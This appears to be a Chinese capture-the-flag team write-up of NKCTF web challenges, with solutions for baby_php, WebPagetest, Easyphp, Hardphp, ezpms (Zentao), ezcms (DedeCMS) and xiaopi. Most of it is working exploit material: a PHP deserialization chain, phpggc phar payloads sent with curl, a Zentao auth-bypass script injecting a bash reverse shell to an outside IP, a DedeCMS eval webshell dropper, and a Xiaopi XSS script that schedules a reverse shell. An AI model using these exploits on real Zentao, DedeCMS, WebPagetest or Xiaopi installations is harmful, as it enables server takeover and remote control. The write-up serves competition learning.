这比赛咋说呢,两极分化很严重啊。。。。
WEB
baby_php | SOLVED | SOLVED - natro92
dir 读文件,uniq打开即可。(sort、more也行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php error_reporting(0); class Welcome{ public $name='welcome_to_NKCTF'; public $arg = 'oww!man!!';
public function __destruct(){ if($this->name == 'welcome_to_NKCTF'){ echo $this->arg; } } }
function waf($string){ if(preg_match('/f|l|a|g|\*|\?/i', $string)){ die("you are bad"); } } class Happy{ public $shell='system'; public $cmd='cd ../../..;uniq [b-h]1[!0-9][b-z]'; public function __invoke(){ $shell = $this->shell; $cmd = $this->cmd; waf($cmd); eval($shell($cmd)); } }
class Hell0{ public $func='Happy'; public function __toString(){ $function = $this->func; $function(); } } $happy = new Happy(); $hello = new Hell0(); $welcome = new Welcome(); $hello->func=$happy; $welcome->arg = $hello; echo(serialize($welcome));
?>
|
WebPagetest | SOLVED | SOLVED - Boogipop
解牛魔酬宾这傻逼靶机老子
提示是WebPagetest的1day,检索过后发现AVD-2022-1474319
然后反复使用以下命令RCE:
1 2 3 4 5 6
| ./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g") curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
|
这里php版本需要在8.2以下,用的是phpgcc工具可以自动生成反序列化gadget,github上开源
漏洞产生点在runtest.php中存在任意文件写入,并且也可以触发phar反序列化。
Easyphp | SOLVED | SOLVED - Boogipop,natro92
脑瘫Web
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /?a=QNKCDZO&b=240610708&e=114514.1&NS[CTF.go=1 HTTP/1.1 Host: c68827f5-b783-485a-a206-0550ca863a4d.node1.yuzhian.com.cn Content-Length: 1291 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
|
最后的cmd可以用:
1
| &cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
|
前面的随便写,cmd用的是异或绕过,卡在了NS[CTF.go
这里。这里用[
是因为:
在 PHP 中,变量名称中不能使用句号点(.)。 例如 $a.b 是一个不合法的变量名。因此,PHP 会自动将点替换为下划线。
除了点,一些其他字符如果出现在GET参数名中,也将会被自动替换为下划线。会被自动替换的字符列表:
1 2 3 4 5 6 7
| <code>chr(32) ( ) (空格)
chr(46) (.) (点)
chr(91) ([) (中括号)
chr(128) - chr(159) (多个字符)</code>
|
Hardphp | SOLVED | SOLVED - Boogipop,sdegree
脑瘫web
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 01c3bf35-e4f8-4d56-b247-f84fe01ad5da.node1.yuzhian.com.cn Content-Length: 248 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36 Origin: http: Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
|
ezpms| SOLVED | SOLVED - Boogipop
Zentao 1day越权+任意命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
|
''' 权限绕过+RCE POC 伪静态传参版 禅道系统 影响版本 安全版本 开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2 旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2 企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2 ''' import requests
proxies = { } def check(url): url1 = url+'/misc-captcha-user.html' url3 = url + 'repo-create.html' url4 = url + 'repo-edit-10000-10000.html' headers={ "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Accept-Language":"zh-CN,zh;q=0.9", "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default", }
headers2 = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Accept-Language": "zh-CN,zh;q=0.9", "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default", "Content-Type":"application/x-www-form-urlencoded", "X-Requested-With":"XMLHttpRequest", "Referer":url+"/repo-edit-1-0.html" }
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66667&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=' data2 = 'SCM=Subversion&client=`bash -c "bash -i >%26 /dev/tcp/114.116.119.253/7788 <%261"`' s=requests.session() try: req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers) req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2) req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2) print(req4.text) if 'uid=' in req4.text: print(url,"") return True except Exception as e: print(e) return False if __name__ == '__main__': print(check("http://ee12ada9-6792-4df7-b671-06316b719ff3.node1.yuzhian.com.cn/"))
|
ezcms| SOLVED | Working - Boogipop
考点:织梦cms 1day后台getshell
织梦DedeCMS 0day RCE - seizer-zyx - 博客园
首先发现管理员后台:/dede/login.php admin/admin
进入管理员后台面板后按照上述文章复现
最重要的一点是,也就是shell文件的保存位置,以及文件包含漏洞触发点
首先是在模板管理的默认模板界面添加一个test模板,内容为
1
| <?php "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
|
相当于在当前文件夹put一个shell.php文件,那我们需要做的就是想办法包含这个htm文件
在单页文档管理位置添加一个页面,如下
这样就会将test.htm输入进123.php,也算一种文件包含,那么就会产生我们的shell文件
接下来先访问
然后直接在http://4e840ed5-6e1e-48fe-99f7-44ff988664bd.node2.yuzhian.com.cn/shell.php执行命令即可
这里网站的根目录就是/
xiaopi | SOLVED | Working - Boogipop
考点:小皮最近爆出来的1day
Xiaopi linux管理系统存在前台RCE和后台RCE,后台RCE是基于1 click XSS实现的,前台RCE是0 click但是这一题有bot,因此选择1 click
首先准备一下exp.js,用来触发CSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| function poc(){ $.get('/service/app/tasks.php?type=task_list',{},function(data){ var id=data.data[0].ID; $.post('/service/app/tasks.php?type=exec_task',{ tid:id },function(res2){ $.post('/service/app/log.php?type=clearlog',{ },function(res3){},"json"); },"json"); },"json"); } function save(){ var data=new Object(); data.task_id=""; data.title="test"; data.exec_cycle="1"; data.week="1"; data.day="3"; data.hour="14"; data.minute = "20"; data.shell='bash -c "bash -i >& /dev/tcp/175.24.235.176/7777 <&1"'; $.post('/service/app/tasks.php?type=save_shell',data,function(res){ poc(); },'json'); } save();
|
这里会将反弹shell指令写进管理面板的计划任务,因此得以rce
还涉及一个前台绕过
加上附加头 X-Requested-With: XMLHttpRequest 即可直接绕过授权码,不需要知道授权码就可以看到登录界面
然后用户名给上XSS 的payload,起nc等待反弹shell
这个放在用户名处,然后验证码一定要正确,否则寄